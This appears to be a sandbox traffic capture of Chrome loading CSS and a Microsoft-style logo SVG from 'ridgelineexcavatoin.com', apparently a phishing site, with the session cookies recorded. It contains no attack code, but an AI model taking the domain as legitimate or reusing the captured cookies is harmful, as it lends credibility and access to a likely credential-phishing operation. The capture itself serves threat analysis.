2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 38 39 37 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 37 37 32 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 35 38 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 33 2e 36 34 37 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d 61 Data Ascii: text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.text-caption.text-maxlines-3,h5.text-maxlines-3{max-height:44.3632px;max-height:2.7727rem}.text-caption.text-maxlines-4,h5.text-maxlines-4{max-height:58.3632px;max-height:3.6477rem}.text-caption-a
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 32 32 37 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 32 32 37 70 78 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 30 2e 34 35 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 32 37 38 33 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 2e 34 35 34 Data Ascii: em;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.text-body.text-maxlines-1,p.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:20.454px;max-height:1.27838rem}.text-body.text-maxlines-2,p.text-maxlines-2{max-height:40.454
2024-04-18 21:05:44 UTC	1030	IN	Data Raw: 72 73 65 2c 62 6c 6f 63 6b 71 75 6f 74 65 2e 70 75 6c 6c 2d 72 69 67 68 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 70 78 3b 77 69 64 74 68 3a 39 30 25 7d 2e 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 2c 2e 63 6f 6e 74 61 69 6e 65 72 3a 61 66 74 65 72 2c 2e 63 6f 6e 74 61 69 6e Data Ascii: rse,blockquote.pull-right{padding-right:12px;padding-left:0;text-align:right}address{margin-bottom:12px}.container,.container-fluid{margin-right:auto;margin-left:auto;padding-left:2px;padding-right:2px;width:90%}.container:before,.container:after,.contain
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 67 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 73 6d 2d 31 33 2c 2e 63 6f 6c 2d 6d 64 2d 31 33 2c 2e 63 6f 6c 2d 6c 67 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 73 6d 2d 31 34 2c 2e 63 6f 6c 2d 6d 64 2d 31 34 2c 2e 63 6f 6c 2d 6c 67 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 73 6d 2d 31 35 2c 2e 63 6f 6c 2d 6d 64 2d 31 35 2c 2e 63 6f 6c 2d 6c 67 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 73 6d 2d 31 36 2c 2e 63 6f 6c 2d 6d 64 2d 31 36 2c 2e 63 6f 6c 2d 6c 67 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 73 6d 2d 31 37 2c 2e 63 6f 6c 2d 6d 64 2d 31 37 2c 2e 63 6f 6c 2d 6c 67 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 73 6d 2d 31 38 2c 2e 63 6f 6c 2d 6d 64 2d Data Ascii: g-12,.col-xs-13,.col-sm-13,.col-md-13,.col-lg-13,.col-xs-14,.col-sm-14,.col-md-14,.col-lg-14,.col-xs-15,.col-sm-15,.col-md-15,.col-lg-15,.col-xs-16,.col-sm-16,.col-md-16,.col-lg-16,.col-xs-17,.col-sm-17,.col-md-17,.col-lg-17,.col-xs-18,.col-sm-18,.col-md-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49791	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:43 UTC	1219	OUT	GET /o/8a55860f2cae358e560aa5f55856c7c166218b2729408 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:44 UTC	648	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:44 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=358y5uYBKQCc5aQgcosANHva097Z2BVQh5lWrus7lwuIPxD9Ald%2FwDLdXyrcRAURQyDPhJ12z4%2BDT9yvhh6C%2BVXaoevyklQJccSYXPDQffgmQivFUN5ZtRIT2wyJvgLfsNHmi9OzNe%2Btcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d59181e12da-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:44 UTC	721	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c 2e 38 31 33 2c 32 2e 33 33 38 2c 32 2e 39 33 36 2c 32 2e 39 33 36 2c 30 2c 30 2c 30 2c 32 2e 32 30 39 2e 38 33 37 4d 36 35 2e 34 2c 38 2e 33 34 33 61 32 2e 39 35 32 2c 32 2e 39 35 32 2c 30 2c 30 2c 31 2c 2e 35 2e 30 33 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 2e Data Ascii: 4.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 2e 36 2c 33 2e 36 2c 30 2c 30 2c 30 2d 31 2e 32 32 32 2d 2e 32 32 31 2c 31 2e 37 38 31 2c 31 2e 37 38 31 2c 30 2c 30 2c 30 2d 31 2e 30 33 34 2e 32 36 2e 38 32 34 2e 38 32 34 2c 30 2c 30 2c 30 2d 2e 33 37 31 2e 37 31 32 4d 38 35 2e 32 37 38 2c 31 33 2e 36 41 35 2e 33 35 Data Ascii: ,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3.6,3.6,0,0,0-1.222-.221,1.781,1.781,0,0,0-1.034.26.824.824,0,0,0-.371.712M85.278,13.6A5.35
2024-04-18 21:05:44 UTC	199	IN	Data Raw: 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 62 39 30 30 22 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: 069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height="10.931" fill="#ffb900"/></svg>
2024-04-18 21:05:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49792	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:43 UTC	1189	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:43 UTC	685	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:43 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6616 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=87HTKIyOUXg1mD%2BCiyavD%2FxH0E9bFRVTgmx1uX2klrIKKcS2V9LKkIkOqZVizPf3R1zqvwR3xx4PN8Jg1Gi04uZbaBWjozdHv%2FIqvduVyU75tho1%2FTPawZvQyXSQYxXX16Ioqtb8hc8kbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d591dc5677f-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:43 UTC	684	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c 2e 38 31 33 2c 32 2e 33 33 38 2c 32 2e 39 33 36 2c 32 2e 39 33 36 2c 30 2c 30 2c 30 2c 32 2e 32 30 39 2e 38 33 37 4d 36 35 2e 34 2c 38 2e 33 34 33 61 32 2e 39 Data Ascii: ,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.9
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 2e 36 2c 33 2e 36 2c 30 2c 30 2c 30 2d 31 2e 32 32 32 2d 2e 32 32 31 2c 31 2e 37 38 31 2c 31 2e 37 38 31 2c 30 2c 30 2c 30 2d 31 2e 30 33 34 2e 32 36 2e 38 32 Data Ascii: 4,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3.6,3.6,0,0,0-1.222-.221,1.781,1.781,0,0,0-1.034.26.82
2024-04-18 21:05:43 UTC	236	IN	Data Raw: 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 62 39 30 30 22 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: "10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height="10.931" fill="#ffb900"/></svg>
2024-04-18 21:05:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49794	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:43 UTC	1193	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:43 UTC	683	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:43 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6616 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rh7iVwQN%2Fnz9jqX0TifMkIrn93%2FN9R6Zobks%2B0J2nAaFwW8FIOJnWrzMG7cSLdBOFu2BtLQMSYL1QqcXEPayLXXqTh36NTrmsF3MclTvXaINyMhXjnbi3c1a31sqzR5hL9LtVmTHgzueUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d592adf678b-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:43 UTC	686	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-18 21:05:43 UTC	913	IN	Data Raw: 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 2c 30 2c 30 2d 2e 37 2d 33 2e 35 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 2d 31 2e 39 33 38 2d 32 2e 38 35 39 41 39 2e 32 36 39 2c 39 2e 32 36 39 2c 30 2c 30 2c 30 2c 32 32 2e 35 2c 31 30 2e 37 31 39 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 2c 31 39 2c 31 30 61 38 2e 37 38 Data Ascii: 0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.78
